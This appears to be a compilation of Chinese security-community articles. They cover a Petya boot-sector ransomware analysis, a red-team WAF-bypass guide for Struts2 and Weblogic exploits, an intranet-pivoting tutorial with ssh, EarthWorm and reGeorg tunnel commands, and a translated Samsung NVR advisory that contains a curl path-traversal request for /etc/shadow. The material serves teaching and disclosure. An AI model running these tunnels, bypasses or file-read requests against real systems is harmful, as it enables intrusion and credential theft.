6. typedef struct _BIOS_PARAMETER_BLOCK {
7.
8. /*+0x0B*/ uint16 BytesPerSector; // 字节/扇区一般为0x0200 即512
9. /*+0x0D*/ uchar SectorsPerCluster; // 扇区/簇
10. /*+0x0E*/ uint16 ReservedSectors; // 保留扇区
11. /*+0x0F*/ uchar Fats; //
12. /*+0x11*/ uint16 RootEntries; //
13. /*+0x13*/ uint16 Sectors; //
14. /*+0x15*/ uchar Media; // 媒介描述
15. /*+0x16*/ uint16 SectorsPerFat; //
16. /*+0x18*/ uint16 SectorsPerTrack; // 扇区/磁轨
17. /*+0x1A*/ uint16 Heads; // 头
18. /*+0x1C*/ uint32 HiddenSectors; // 隐藏扇区
19. /*+0x20*/ uint32 LargeSectors; // checked when volume is mounted
20.
21. }BIOS_PARAMETER_BLOCK, *pBIOS_PARAMETER_BLOCK;
typedef struct _NTFS_Boot_Sector{
1. /*+0x00*/ uchar JmpCode[3]; // 跳转指令
2. /*+0x03*/ char OemID[8]; // 文件系统ID
3. /*+0x0B*/ BIOS_PARAMETER_BLOCK PackedBpb; // BPB
4. /*+0x24*/ uchar Unused[4]; // 未使用,总是为
5. /*+0x28*/ uint64 NumberSectors; // 扇区总数
6. /*+0x30*/ lcn MftStartLcn; // 开始C# $MFT (簇) 乘以 BIOS_PARAMETER_BLOCK.SectorsPerCluster 值得到扇区号
7. /*+0x38*/ lcn Mft2StartLcn; // 开始C# $MFTMirr (簇)
8. /*+0x40*/ uchar ClustersPerFileRecordSegment; // 文件记录大小指示器
9. /*+0x41*/ uchar Reserved0[3]; // 未使用
10. /*+0x44*/ uchar DefaultClustersPerIndexAllocationBuffer; // 簇/索引块
11. /*+0x45*/ uchar Reserved1[3]; // 未使用
12. /*+0x48*/ uint64 SerialNumber; // 64位序列号
13. /*+0x50*/ uint32 Checksum; // 校验和
14. /*+0x54*/ uchar BootStrap[426]; // 启动代码
15. /*+0x1FE*/ uint16 RecordEndSign; // 0xAA55 结束标记
16. }NTFS_Boot_Sector, *pNTFS_Boot_Sector;
其中，定位MFT时，最重要的结构为MftStartLcn表示起始簇号，乘以BIOS_PARAMETER_BLOCK.SectorsPerCluster（在我的机器上这个值为8，表示一个簇由8个扇区组成）后就得到起始扇区号。
**MFT**
**简介**
MFT，即主文件表（Master File
Table）的简称，它是NTFS文件系统的核心。MFT由一个个MFT项（也称为文件记录）组成。每个MFT项的前部为0x10字节的头结构，用来描述本MFT项的相关信息。后面节存放着属性。每个文件和目录的信息都包含在MFT中，每个文件和目录至少有一个MFT项。除了引导扇区外，访问其他任何一个文件前都需要先访问MFT，在MFT中找到该文件的MFT项，根据MFT项中记录的信息找到文件内容并对其进行访问。
MFT结构分为两种：元文件与普通文件。
元文件对于用户是不能直接访问的，MFT将开头的16个文件记录块保留用于这些元数据文件，除此之外的文件记录块才用于普通的用户文件和目录。
**16个元文件**
#defineMFT_IDX_MFT0
#defineMFT_IDX_MFT_MIRR1
#defineMFT_IDX_LOG_FILE2
#defineMFT_IDX_VOLUME3
#defineMFT_IDX_ATTR_DEF4
#defineMFT_IDX_ROOT5
#defineMFT_IDX_BITMAP6
#defineMFT_IDX_BOOT7
#defineMFT_IDX_BAD_CLUSTER8
#defineMFT_IDX_SECURE9
#defineMFT_IDX_UPCASE10
#defineMFT_IDX_EXTEND11
#defineMFT_IDX_RESERVED1212
#defineMFT_IDX_RESERVED1313
#defineMFT_IDX_RESERVED1414
#defineMFT_IDX_RESERVED1515
#defineMFT_IDX_USER16
这16个原文件本身也是MFT结构的模式，可以理解为记录了MFT信息的MFT结构。
**怎么解析这16个原文件的MFT结构呢？**
换句话说，通过MBR定位到DBR,通过DBR定位到MFT，此时的MFT就对应着索引为MFT_IDX_MFT的MFT，向后偏移文件记录大小的地方，就存放着索引为MFT_IDX_MFT_MIRR的MFT。再向后偏移文件记录大小的地方，就存放着索引为MFT_IDX_LOG_FILE的MFT
**解析这16个原文件的MFT结构有什么用？**
如对于MFT_IDX_VOLUME
这个MFT结构，解析这个MFT结构中的ATTR_TYPE_VOLUME_INFORMATION（对应着0x70）就可以得到NTFS卷的版本信息,解析这个MFT结构中的ATTR_TYPE_VOLUME_NAME属性（对应着0x60）就可以得到NTFS卷名信息。
再如，对于MFT_IDX_MFT
这个MFT结构，解析这个MFT结构中的ATTR_TYPE_DATA（对应0x80）的属性RealSize，就表示整个卷所有的文件记录的大小信息。利用这个大小信息是以字节表示的，用这个大小信息除以每个文件记录所占用的字节就得到了卷占有的文件记录数量。计算出来的文件记录数量是将元文件也计算在内的。
依次遍历每个文件记录数量，读取这个文件记录的内容就是MFT结构，解析这个MFT的对应属性就可以解析出文件名、文件属性、文件内容等。
**普通MFT**
遍历文件时，从第16个文件记录开始向后遍历，才会得到普通的用户文件和目录信息及内容。
**数据结构**
MFT的直观结构如下，
// 文件记录体
// 属性1
// 属性2
// …………
每个MFT的结构如下：
// 文件记录头
typedef struct _FILE_RECORD_HEADER
{
/*+0x00*/ uint32 Type; // 固定值'FILE'
/*+0x04*/ uint16 UsaOffset; // 更新序列号偏移, 与操作系统有关
/*+0x06*/ uint16 UsaCount; // 固定列表大小Size in words of Update Sequence Number & Array (S)
/*+0x08*/ uint64 Lsn; // 日志文件序列号(LSN)
} FILE_RECORD_HEADER, *PFILE_RECORD_HEADER;
// 文件记录体
typedef struct _FILE_RECORD{
/*+0x00*/ FILE_RECORD_HEADER Ntfs; // MFT表头
/*+0x10*/ uint16 SequenceNumber; // 序列号(用于记录文件被反复使用的次数)
/*+0x12*/ uint16 LinkCount; // 硬连接数
/*+0x14*/ uint16 AttributeOffset; // 第一个属性偏移
/*+0x16*/ uint16 Flags; // falgs, 00表示删除文件,01表示正常文件,02表示删除目录,03表示正常目录
/*+0x18*/ uint32 BytesInUse; // 文件记录实时大小(字节) 当前MFT表项长度,到FFFFFF的长度+4
/*+0x1C*/ uint32 BytesAllocated; // 文件记录分配大小(字节)
/*+0x20*/ uint64 BaseFileRecord; // = 0 基础文件记录 File reference to the base FILE record
/*+0x28*/ uint16 NextAttributeNumber; // 下一个自由ID号
/*+0x2A*/ uint16 Pading; // 边界
/*+0x2C*/ uint32 MFTRecordNumber; // windows xp中使用,本MFT记录号
/*+0x30*/ uint32 MFTUseFlags; // MFT的使用标记
}FILE_RECORD, *pFILE_RECORD;
根据FILE头部数据找到下面的一个个属性,接下来分析的就是一个个属性了，属性由属性头跟属性体组成,属性头的结构定义如下：
// 属性头
typedef struct
{
/*+0x00*/ ATTRIBUTE_TYPE AttributeType; // 属性类型
/*+0x04*/ uint16 RecordLength; // 总长度(Header+body长度)
/**0x06*/ uint16 unknow0;
/*+0x08*/ uchar Nonresident; // 非常驻标志
/*+0x09*/ uchar NameLength; // 操作属性名长度
// 0X0001为压缩标记
// 0X4000为加密标记
// 0X8000为系数文件标志
/*+0x0A*/ uint16 NameOffset; // 属性名偏移(从属性起始位置的偏移)
// NameLength 如果不为零,则用这个值去寻址数据偏移
/*+0x0C*/ uint16 Flags; // ATTRIBUTE_xxx flags.
/*+0x0E*/ uint16 AttributeNumber; // The file-record-unique attribute instance number for this attribute.
} ATTRIBUTE, *PATTRIBUTE;
// 属性头
typedef struct _RESIDENT_ATTRIBUTE
{
/*+0x00*/ ATTRIBUTE Attribute; // 属性
/*+0x10*/ uint32 ValueLength; // Data部分长度
/*+0x14*/ uint16 ValueOffset; // Data内容起始偏移
/*+0x16*/ uchar Flags; // 索引标志
/*+0x17*/ uchar Padding0; // 填充
} RESIDENT_ATTRIBUTE, *PRESIDENT_ATTRIBUTE;
Petya中涉及到MFT的属性
// 属性类型定义
AttributeFileName = 0x30,
AttributeData = 0x80,
这两个属性的定义如下：
// 文件属性ATTRIBUTE.AttributeType == 0x30
typedef struct
{
/*+0x00*/ uint64 DirectoryFile:48; // 父目录记录号(前个字节)
/*+0x06*/ uint64 ReferenceNumber:16; // +序列号(与目录相关)
/*+0x08*/ uint64 CreationTime; // 文件创建时间
/*+0x10*/ uint64 ChangeTime; // 文件修改时间
/*+0x18*/ uint64 LastWriteTime; // MFT更新的时间
/*+0x20*/ uint64 LastAccessTime; // 最后一次访问时间
/*+0x28*/ uint64 AllocatedSize; // 文件分配大小
/*+0x30*/ uint64 DataSize; // 文件实际大小
/*+0x38*/ uint32 FileAttributes; // 标志,如目录压缩隐藏等
/*+0x3C*/ uint32 AlignmentOrReserved; // 用于EAS和重解析
/*+0x40*/ uchar NameLength; // 以字符计的文件名长度,没字节占用字节数由下一字节命名空间确定
// 文件名命名空间, 0 POSIX大小写敏感,1 win32空间,2 DOS空间, 3 win32&DOS空间
/*+0x41*/ uchar NameType;
/*+0x42*/ wchar Name[1]; // 以Unicode方式标识的文件名
} FILENAME_ATTRIBUTE, *PFILENAME_ATTRIBUTE;
// 数据流属性 ATTRIBUTE.AttributeType == 0x80
typedef struct _NONRESIDENT_ATTRIBUTE
{
/*+0x00*/ ATTRIBUTE Attribute;
/*+0x10*/ uint64 StartVcn; // LowVcn 起始VCN 起始簇号
/*+0x18*/ uint64 LastVcn; // HighVcn 结束VCN 结束簇号
/*+0x20*/ uint16 RunArrayOffset; // 数据运行的偏移，非常重要
/*+0x22*/ uint16 CompressionUnit; // 压缩引擎
/*+0x24*/ uint32 Padding0; // 填充
/*+0x28*/ uint32 IndexedFlag; // 为属性值分配大小(按分配的簇的字节数计算)
/*+0x30*/ uint64 AllocatedSize; // 属性值实际大小
/*+0x38*/ uint64 DataSize; // 属性值压缩大小
/*+0x40*/ uint64 InitializedSize; // 实际数据大小
/*+0x48*/ uint64 CompressedSize; // 压缩后大小
} NONRESIDENT_ATTRIBUTE, *PNONRESIDENT_ATTRIBUTE;
**对于0x30属性：**
对于MFT中的0x30属性的直观认识，如下：
黄色部分对应着上表中的ATTRIBUTE结构，红色部分对应着上表中的NONRESIDENT_ATTRIBUTE结构。选中部分对应着FILENAME_ATTRIBUTE结构内容，这里面包含了文件的各种时间属性和文件名等内容。
Petya病毒在遍历MFT时，会通过判断当前MFT的AttributeFileName属性判断是否加密该MFT。
**对于0x80属性：**
对于MFT中的0x80属性的直观认识，如下：
黄色部分对应着上表中的ATTRIBUTE结构，红色部分对应着上表中的NONRESIDENT_ATTRIBUTE结构。绿色部分对应着RUN-LIST结构内容。
80H属性是文件数据属性，该属性容纳着文件的内容，文件的大小一般指的就是未命名数据流的大小。该属性没有最大最小限制，最小情况是该属性为常驻属性。常驻属性就不做多的解释了，如下是一个非常驻的80H属性。
该属性的“Run List”值为“32 0C 1B 00 00 0C”，其具体含义如下：
Petya病毒在加密文件内容时，会通过Run List定位到文件内容所在的真正扇区加密文件，如果文件内容大于2个扇区，则只加密前两个扇区。
**恶意代码加载过程**
**1 加载代码到0x8000执行**
从第一个扇区开始，读取0x20个扇区到0x8000地址处，随后跳到0x8000处执行
循环读取0x20个扇区代码片段：
在循环里使用int 13读取磁盘内容
**2 调用函数读取硬盘参数**
读取硬盘参数
比较“FA 31 C0 8E”硬编码，判断当前的第一个扇区的内容是不是病毒写入的内容。
**3 判断加密标志**
读取0x20扇区的内容（该扇区保存了病毒的配置信息），判断该扇区的第一个字节是不是1，如果是1，表示mbr已经被加过密，就来到显示勒索界面的流程;如果不为1，表示还未对MBR和MFT进行加密，进入加密流程。
**加密过程**
**1 打印修复磁盘信息，设置加密标志**
打印出虚假的“Repairing file system on
C:”信息，读取0x20扇区中的配置信息到内存，并将读取到的配置信息的加密标志设置为1。随后，将修改过加密标志的内容写入到扇区中，为了保证写入成功，这里循环写了0x20次。
打印的磁盘修复信息如下：
****
**2 加密验证扇区**
加密验证扇区的方法为：读取0x21扇区的内容（这个扇区保存的全是0x07数据），使用从配置信息扇区读取的key与n做为加密参数，调用salsa加密该读到的0x07内容，并将加密后的内容写入到0x21扇区中
显示虚假的“CHKDSK is repairing sector”界面，实际在后台正在加密MFT数据。
**3 加密操作**
**文件遍历的原理**
Petya病毒通过解析MBR，DBR得到MFT地址。解析MFT索引为0的元文件，得到属性为DATA的属性内容，取出属性中的RUN-LIST结构中的簇数量与起始扇区，根据这两个字段遍历所有的MFT就得到了当前文件系统中所有的文件信息。
解析MBR
解析原始MBR数据的代码片段：
判断MBR中的分区类型：
判断从mbr中读取到的StartLBA字段不为空
从mbr中解析到StartLBA字段，并读取该字段对应的扇区，此扇区的内容就为DBR相关的内容：
读取到DBR后，解析出MftStartLcn字段，该字段就表示 MFT地址：
得到MFT地址后，该地址就是索引为0的MFT元文件地址,从该元文件结构中取出属性为0x80（DATA）的内容。
首先读取到$MFT的扇区内容：
解析属性，判断是不是0x80(DATA)属性类型
对$MFT属性0x80中的解析，得到下面信息：
run_data_cluster*sector/cluster + 0x20(0x20为元文件占用的扇区大小)+mbr. arg_StartLBA，作为普通
MFT扇区的起始扇区，这样是保证加密的过程中不会加密元文件扇区与mbr相关的扇区。
（run_data_num_clusters * sector/cluster）- 0x20(0x20为元文件占用的扇区大小)，做为普通MFT的扇区大小。
随后，就来到遍历用户MFT的函数：
**遍历普通MFT结构**
遍历普通MFT结构的函数在00008FA6处，该函数为病毒代码中最为主要的函数。
下面对这个函数进行详细分析:
在调试的过程中，parse_User_MFT函数的参数内容为：80 C6 5F 00 60 00 20 C6 00 00 3F 00 00 00 3F 00
60 00 08 C6 2C 67 4A 67 8B 77 52 9C 01,结合调试时传递的参数内容，对函数作出说明。
该函数主要功能为：对扇区中的MFT遍历，对不符合MFT头部标志(FILE)的扇区，会直接调用SALSA20算法进行加密该扇区，对符合MFT头部标志的扇区，判断0x30属性中的文件名判断是不是元文件，如果不是元文件名格式，则直接加密该扇区。其他情况下，判断MFT结构0x80属性中的常驻内存属性，如果是非常驻内存属性，就解析文件内容的前二个扇区，取出该扇区的内容后，使用salsa20算法进行加密。
1.先打印出“CHKDSK is repairing sector”，显示虚假的磁盘修复界面
2.对当前MFT头是不是“FILE”,如果不是”FILE”的话，则直接加密这个扇区
3.如果是FILE，接着遍历mft的各个属性：
如果属性为AttributeFileName（0x30），判断文件名字长度是不是1，如果长度为1，直接加密，如果长度不为1，则看文件名字是不是以$开头(以$开头的是NTFS文件系统的元文件)，如果是元文件，则加密当前MFT.
如果属性为AttributeData文件数据属性（0x80），则首先根据属性头判断是不是非常驻内存，如果是常驻内存属性就跳过，不进行加密。如果是非常驻内存属性，则通过RUNLIST结构遍历到存储数据的真正的扇区位置。
解析RUNLIST
根据RUNLIST中的起始簇乘以MBR中保存的每簇对应的扇区数，得到数据真正所在的扇区。
随后，判断上面计算出的文件内容对应扇区数量是不是大于2，如果大于2，只加密前2个扇区。
读取该MFT文件对应的文件内容的前两个分区，通过直接使用int 13中断从扇区读取到文件内容，使用salsa20加密后，将密文直接写入的扇区中文件中。
在动态调试时，可以看到加密了文件内容，加密文件内容前的数据
被加密后的文件内容：
**加密函数**
对文件的加密使用了SALSA20算法，该算法属于流加密，在知道key和iv的情况下，加密函数和解密函数可以为相同的函数代码。
加密函数
在密钥扩展的函数中，Petya将原始的常数“expand 16-byte k”更改成了“1nvald s3ct”
扩展密钥函数代码：
Salsa20加密时使用的key和iv来自于配置信息扇区（0x20扇区）
将明文与生成的keystream异或，实现加密
**解密过程**
在开机启动过程中，MBR引导后，加载扇区中的恶意代码后，恶意代码会判断配置信息第1个BYTE是不是1，1表示已经加密过，则进入相应的解密过程中
**1 打印勒索信息**
打印出勒索信息
也就是显示如下的内容
**2 读取用户输入的key**
清空内存，读取用户输入的key
**3 验证用户的key**
在验证KEY的过程中，首先比较输入的key的长度，必须大于0x20长度
将输入的key通过自定义算法的转换0x21次
使用转换过的key，使用salsa20算法解密0x21扇区的内容（这个扇区的内容为加密过的0x7内容），比较解密出来的内容是不是0x7，如果是则表明解密密码正确。
密码验证通过后，会使用这个key做为参数调用DecryptProc 函数(并非勒索软件作者定义的函数名)，
在DecryptProc函数中调用与加密时相同的函数进行对MFT结构进行遍历后解密，
在解密完成后，打印“Please reboot your computer!”信息
**总结**
本文对Petya变种勒索蠕虫的扇区启动代码进行了详细分析，分析显示Petya变种勒索蠕虫并不仅会加密MBR和MFT结构，也会将MFT对应的文件内容的前两个扇区进行加密。换句话说，Petya变种勒索蠕虫在系统启动时MBR中的代码执行时也会进行全盘文件的加密操作。结合RING3级别的勒索代码功能，Petya会对文件执行两次加密操作，第一次为Petya勒索蠕虫执行时，使用RSA与AES算法遍历文件系统对指定扩展名的文件加密，第二次为系统启动时，启动扇区的代码会通过遍历MFT结构定位文件内容并对文件使用salsa20算法进行加密。对于RING3级别的文件加密过程，解密密钥可以通过勒索蠕虫作者的RSA私钥进行解密获得，而启动扇区级别的文件加密过程使用了随机密码进行，启动扇区级别的文件加密无法解密。
**参考**
<http://dengqi.blog.51cto.com/5685776/1351300>
<https://github.com/alexwebr/salsa20/blob/master/salsa20.c>
<http://blog.csdn.net/enjoy5512/article/details/50966009>
<http://bobao.360.cn/learning/detail/4039.html> | 社区文章 |
# 0x01 简介
随着安全意识的加强，现在hvv中各个单位都是严防死守，什么防护设备管他有没有用先上了再说（再这样下去要失业了...）之前一打一个准的中间件漏洞现在10个能成功一个就不错了。为了应对hvv场景中的部分WAF，才有了此文。
# 0x02 常规绕WAF思路
## 1、错误的HTTP请求头
类似文件上传时的绕过，通过畸形的HTTP协议头绕过WAF检测。比如绕过某些老版本WAF可以加入请求头：Content-Encoding:deflate就可以绕过WAF（此方法在文件上传绕过WAF中也适用）
## 2、通用的JAVA类关键字绕过
将关键字转换成Unicode或者HEX编码的方式，JAVA程序会自动进行解码，所以在一定程度上能够绕过WAF
## 3、使用未公开的漏洞利用链
部分WAF会将公开的漏洞利用链中的关键字设置为黑名单，所以重新找一条利用链吧，自己的才是最香的
# 0x03 Struts2过WAF
## 1、三种快速判断struts2的方法
（1）通过后缀判断
通过后缀判断struts2是最快速和最常见的方法，但是这种方法不太准确，有些程序员会自定义页面后缀。一般struts2页面常用后缀为.do和.action。但是也有另一种比较特殊的情况，比如：userManager!list.action类似这种带!的形式很有可能是Struts2框架
（2）通过页面回显的错误消息来判断，页面不回显错误消息时则无效
如原始的目标地址是<http://www.struts2-vuln.com，则检测所用的地址是http://www.struts2-vuln.com/?actionErrors=1111111，如果返回的页面出现异常，则可以认定为目标是基于Struts2框架构建的。异常情况包括页面直接出现404、500等错误，页面上输出了与业务有关错误消息，或者1111111被回显到页面上了，页面的内容结构发生了明显的改变，页面发生的重定向。(该方法目前在测试时基本未成功过，仅当作知识点留存>)
（3）判断 /struts/webconsole.html 是否存在来进行判断，需要 devMode 为 true
## 2、Struts2中的$和%
在Struts2中，%和$作用一致，可以相互替换，当WAF拦截了%时可以试试用$替换，反之亦然
## 3、如何绕过waf
这里我们以s2-016和s2-045为例，演示如何绕过waf，实验环境如下：
我们先用工具跑一下
这个时候工具就不管用了，什么都没有发现，还是我们手输poc比较靠谱一些，先试一下最基本的s2-016的验证poc
左下角提示waitting，说明Poc被WAF拦截掉了，我们试一下绕过
针对s2-016的绕过，我们只需要双写大括号就可以
这里Poc就成功执行了11*11，返回包里也返回了121
我们在尝试一下同样用双写的方法绕过一下s2-045
GG了，看来这样绕不过去。
我们重新看一下s2-045的poc，这么长一大串，WAF最有可能使用哪种方式进行检测呢？poc里那么多关键字，很大几率是对关键字进行检测吧，那我们吧关键字拆分开试一下
可以了，用+拼接关键字，成功绕过了WAF对关键字的检测。不过不知道编码的方法可不可以
# 0x04 Weblogic过WAF
## 1、两种快速判断Weblogic的方法
（1）通过404页面判断
（2）通过X-powered-by头判断：servlet/2.4(版本) JSP/2.5(版本)
## 2、如何绕过waf
POC直接干它
直接wait了，说明被waf拦截掉了。后面是了好多方法都不行，最后大佬说用chunked编码可以绕过，试一下
这也不行啊，chunked编码手还是被拦截了。大佬有说好好看看http头部的内容。
对比于之前的包，chunked编码后，包头中多了Transfer-Encoding:chunked，这是用来说明使用了chunked编码的，难道waf还会识别这个，自动解码chunked吗？？？既然如此那我们就不让waf识别chunked编码
所以在Transfer-Encoding:chunked后加入任意内容，即可绕过WAF
# 0x05 总结
Shiro和Fastjson的绕过还没有搞懂，后面再更新吧
| 社区文章 |
#### 区分正向代理和反向代理
(自己的理解，可能有误)
A——B——C
A对C的请求，B作为代理，代替A去访问C，并将结果返回给A，则B是正向代理
B主动与A的8888端口建立连接，并将A:8888的访问转为对C:80的访问，结果返回给A，则B是反向代理
反向代理的好处：当AB之间有防火墙，不允许A连B，但是允许B连A
# 开始实验
A([email protected]) (kali，具有完备的攻击环境)
B([email protected])
C([email protected])
#### 实验一，利用ssh隧道，B作为正向代理，做动态端口转发
前提：知道B的ssh口令(常见于CTF的AWD中的渗透模式)
在A上运行
ssh -2 -D 2333 [email protected]
这条命令是将A本地的2333端口，与B的22端口建立socks连接，运行后需要输入B的ssh口令
测试，直接在A访问C的80端口，不过浏览器要侦听127.0.0.1:2333socks代理
测试，直接在A扫描C的所有端口，不过要调用proxychains，侦听127.0.0.1:2333
#### 实验二，利用ssh隧道，B作为正向代理，进行单一的端口转发
#### A访问127.0.0.1:1111相当于访问C:80
A上运行
ssh -L 1111:192.168.168.3:80 [email protected]
A访问127.0.0.1:1111相当于访问192.168.168.3:80(C)，中间需要[email protected](B)来帮忙转发，需要输入B的ssh账号密码
#### A访问127.0.0.1:2222 相当于访问C:22
A上运行
ssh -L 2222:192.168.168.3:22 [email protected]
A访问127.0.0.1:2222相当于访问192.168.168.3:22(C)，中间需要[email protected](B)来帮忙转发，需要输入B的ssh账号密码
#### 实验三 利用ssh隧道，B做反向代理，做单一的端口转发
#### A访问127.0.0.1:8888相当于访问C:80
先在A(kali)上生成ssh需要的host key
ssh-keygen -t rsa -f /etc/ssh/ssh_host_rsa_key
ssh-keygen -t dsa -f /etc/ssh/ssh_host_dsa_key
在B上运行
ssh -R 8888:192.168.168.3:80 [email protected]
B主动向A发起ssh连接，需要输入A的ssh账号口令
将来自(A)192.168.168.1:8888的请求，转化为对(C)192.168.168.3:80的请求，然后将结果通过ssh隧道，返回给A
#### A访问127.0.0.1:2222相当于访问C:22
在B上运行
ssh -R 2222:192.168.168.3:22 [email protected]
#### 实验四，再多一级D(192.168.168.4)，在A上打D
在B上运行两条命令
ssh -R 8888:127.0.0.1:4444 [email protected]
B作反向代理，将A:8888与B:4444打通ssh隧道
ssh -2 -D 4444 [email protected]
B将本地4444端口与C打通ssh隧道，C作正向代理
现在A就能以127.0.0.1:8888为socks代理，去访问D了，甚至扫描D
#### 如果你只获得一个webshell，并没有ssh口令
#### 强烈推荐 EarthWorm
可以用ew来建立正向代理、反向代理、多级级联，非常强大
旧版，已够用 <http://rootkiter.com/EarthWorm/>
新版，更新中，侧重shell管理 <http://rootkiter.com/Termite/>
#### 利用ew，将B作为正向代理
用菜刀上传ew.zip到B上，并移动到tmp目录下
用菜刀的虚拟终端在B上执行
unzip ew.zip
file /sbin/init (查看linux位数)
chmod 777 ew_for_Linux32
./ew_for_Linux32 -s ssocksd -l 2333 (侦听0.0.0.0:2333)
netstat -pantu|grep 2333 (查看是否侦听成功)
#### 在A上以B为代理，访问C
#### 利用ew，将B作为反向代理
在A上执行
chmod 777 ./ew_for_linux64
./ew_for_linux64 -s rcsocks -l 1080 -e 2333
A侦听0.0.0.0:2333端口，并转发为0.0.0.0:1080端口
在B上执行
chmod 777 ew_for_Linux32
./ew_for_Linux32 -s rssocks -d 192.168.168.1 -e 2333
B反向连接A:2333端口
此时以A的1080端口为代理，就能直接打C了，实际渗透中，192.168.168.1常是一台公网服务器，然后kali再去连接公网的1080端口，但我这里仍然是在kali下演示
使用完ew，记得杀掉进程，可以ps+kill查杀，也可以粗暴点，直接kill 0
#### 利用ew进行多级代理搭建
B上运行
./ew_for_Linux32 -s rcsocks -l 1080 -e 2333
侦听0.0.0.0:2333，流量转发到0.0.0.0:1080
C上运行
./ew_for_Linux32 -s rssocks -d 192.168.168.2 -e 2333
C反向连接B:2333端口
这样A上以B 192.168.168.2:1080为socks代理，可以直接对D进行渗透
#### 可以再加一级
达到以192.168.168.1:1080为socks代理，能对D进行渗透
沟通B和C
B上运行
./ew_for_Linux32 -s rcsocks -l 1080 -e 2333
C上运行
./ew_for_Linux32 -s rssocks -d 192.168.168.2 -e 2333
B侦听0.0.0.0:2333端口，并转为0.0.0.0:1080端口
C反向连接B的2333端口
沟通A和B
A上运行
./ew_for_linux64 -s rcsocks -l 1080 -e 2333
B上运行
./ew_for_Linux32 -s lcx_slave -d 192.168.168.1 -e 2333 -f 127.0.0.1 -g 1080
A侦听0.0.0.0:2333端口，并转为0.0.0.0:1080端口
B反向连接A的2333端口，并把流量转发到本地的1080端口
#### reGeorg
<https://github.com/sensepost/reGeorg>
<https://sensepost.com/discover/tools/reGeorg/>
reGeorg利用webshell建立一个socks代理进行内网穿透，服务器必须支持aspx、php、jsp、js等web语言
菜刀连接192.168.168.2的webshell，上传tunnel.php和tunnel.nosocket.php到web根目录
在A(kali)上运行
python reGeorgSocksProxy.py -p 2333 http://192.168.168.2/tunnel.php
建立不了连接
python reGeorgSocksProxy.py -p 2333 http://192.168.168.2/tunnel.nosocket.php
成功建立连接
此时会利用192.168.168.2的web服务，与本机的kali的2333端口建立socks连接，现在就能在A上打C了
### 推荐一波文章
内网渗透随想 redrain写的
<http://www.anquan.us/static/drops/tips-5234.html>
内网渗透中转发工具总结
<http://www.anquan.us/static/drops/tools-15000.html>
【T00ls精华文】代理转发工具汇总分析
<https://mp.weixin.qq.com/s/heSvLuJtdPyJfsKJVlZEhw>
内网漫游之SOCKS代理大结局
<https://www.anquanke.com/post/id/85494>
ssh端口转发详解
<https://www.cnblogs.com/-chaos/archive/2013/10/19/3378564.html>
<http://blog.csdn.net/a351945755/article/details/21785647>
<http://blog.csdn.net/qq_27446553/article/details/51981764> | 社区文章 |
# 三星SRN系列网络硬盘录像机中存在多个安全漏洞
|
##### 译文声明
本文是翻译文章，文章来源：360安全播报
原文地址：<http://blog.emaze.net/2016/01/multiple-vulnerabilities-samsung-srn.html>
译文仅供参考，具体内容表达以及含义原文为准。
经过研究，我们能够证实，在三星SRN系列网络硬盘录像机中存在多个安全漏洞，严重影响设备的数据安全。攻击者利用这些漏洞，无需进行身份验证，便可直接远程控制设备。我们要感谢CMU
CERT(卡内基梅隆大学互联网安全事件报告中心)的协助，对该漏洞的研究提供了很大的帮助。
具体说来，我们发现了三种不同的安全问题，以下将对每个问题展开说明。
**1.Arbitary file read（CVE-2015-8279）—所有文件可任意读取**
攻击者可自行编写一个未授权的PHP页面，来读取任一本地文件。这一步对于网络攻击者来说，仅仅只是小菜一碟。因为只要他们想读取哪个文件，都可以在所获取的URL参数中得到那个文件名。
比如，想要读取本地文件/etc/shadow，就必须执行下面的请求：
$ curl -v http://<target IP>/cslog_export.php?path=/etc/shadow
攻击者可以利用该漏洞读取一个存储Web界面凭证的本地文件。在测试设备中，我们把上述的文件，按/root/php_modules/lighttpd/sbin/userpw,路径保存，该文件包含以明文形式保存的用户名和密码。这样就给攻击者提供了机会，他们想要盗取该数据，可以说是不费吹灰之力。
**2.Weak firmware encryption(CVE-2015-8281)—固件加密保护程度不足**
设备供应商告诉每一个购买SRN系列产品的顾客说，他们可以在SRN的官网上对相关软件进行更新。但是，固件图像用一种专有模式进行了加密，顾客无法做到这一点。
例如：在文件mproject_add_header.dtb中，最开始的几个字节包含一个隐藏标识名（EncryptFileFormat）,是否带有这个标识名，就是文件加密与否的标志。
$ xxd mproject_add_header.dtb | head
00000000: 456e 6372 7970 7446 696c 6546 6f72 6d61 EncryptFileForma
00000010: 740a cdbb 53bd 4e6f 903e 7869 1af3 c98d t...S.No.>xi....
然而，当你看到文件末尾时，会发现一个反复出现的字节模式：
$ xxd mproject_add_header.dtb | tail
000026e0: e854 1db6 ad50 4e6f b70e 7869 1acb c98d .T...PNo..xi....
000026f0: e854 1db6 ad50 4e6f b70e 7869 1acb c98d .T...PNo..xi....
00002700: e854 1db6 ad50 4e6f b70e 7869 1acb c98d .T...PNo..xi....
00002710: e854 1db6 ad50 4e6f b70e 7869 1acb c98d .T...PNo..xi....
00002720: e854 1db6 ad50 4e6f b70e 7869 1acb c98d .T...PNo..xi....
00002730: e854 1db6 ad50 4e6f b70e 7869 1acb c98d .T...PNo..xi....
...
由于考虑到文件是经过加密的，同时假设设备供应商使用了一个标准的加密方案，一些加密算法就会产生这样的循环模式。这其中最显著的假设就是异或加密（XOR
encryption）。
通常当文件位数不够时，会用零在文件末尾进行补足。我们推测该文件在进行异或加密时，所用的16字节加密密钥应该是 e854 1db6 ad50 4e6f
b70e 7869 1acb c98d。我们就试着用该密钥对固件和文件进行解密，结果都成功了。
$ python ../decrypt.py mproject_add_header.dtb | xxd | head
00000000: 9c5e d00d feed 0000 2730 0000 0038 0000 .^......'0...8..
00000010: 20b0 0000 0028 0000 0011 0000 0010 0000 ....(..........
00000020: 0000 0000 0280 0000 2078 0000 0000 0000 ........ x......
00000030: 0000 0000 0000 0000 0000 0000 0001 0000 ................
00000040: 0000 0000 0003 0000 000e 0000 0000 6673 ..............fs
00000050: 6c2c 6d70 6338 3533 3664 7300 0000 0000 l,mpc8536ds.....
00000060: 0003 0000 000e 0000 0006 6673 6c2c 6d70 ..........fsl,mp
00000070: 6338 3533 3664 7300 0000 0000 0003 0000 c8536ds.........
00000080: 0004 0000 0011 0000 0002 0000 0003 0000 ................
00000090: 0004 0000 0020 0000 0002 0000 0001 616c ..... ........al
同一个异或加密码可用于解密该固件的其他组件。包含有ext2文件系统的任一一个元素，都有着与设备主分区相同的属性。
**3.User enumeration(CVE-2015-8280)—用户枚举漏洞**
远程攻击者可通过采用不同的用户名和密码进行试探登录，查看返回的错误消息的方式，来枚举出正确的Web用户名。
例如：当输入了一个无效的用户名时，系统就会弹出一个“ID错误”的页面。请求如下所示：
